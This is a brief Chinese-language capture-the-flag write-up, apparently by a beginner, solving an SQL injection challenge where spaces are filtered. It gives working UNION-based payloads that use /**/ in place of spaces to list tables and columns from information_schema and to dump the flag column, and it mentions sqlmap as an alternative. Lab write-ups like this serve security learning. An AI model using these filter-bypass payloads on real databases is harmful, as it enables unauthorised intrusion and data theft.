过滤空格
这道题依然可以使用手工和sqlmap的方式,这里先大概说一下手工,题目提示了过滤空格,那么我们就想办法绕过这里过滤,可以用“//”来代替空格:
这里使用联合查询语句爆破除了当前的数据库,接下来就是使用前文中提到过的手工注入,空格使用//来代替,爆破当前数据的表名:
?id=111/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
接着爆破那个有点奇怪的表里面的列:
?id=111/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='hlrkwiuoqx'
爆破列里面的字段:
/?id=111/**/union/**/select/**/1,yuqgzisdfb/**/from/**/hlrkwiuoqx
得到了flag,这里要注意的是,注入期间没有使用到注释符,使用时会提示hacker,不过一般情况下,还是使用注释符的情况更多一些。
当然了,这道题也是可以直接使用sqlmap来结题的。使用方法参考之前的文章,这里就不再赘述了。
注:萌新第一次写write up,不足之处还请见谅,不对之处欢迎批评指正。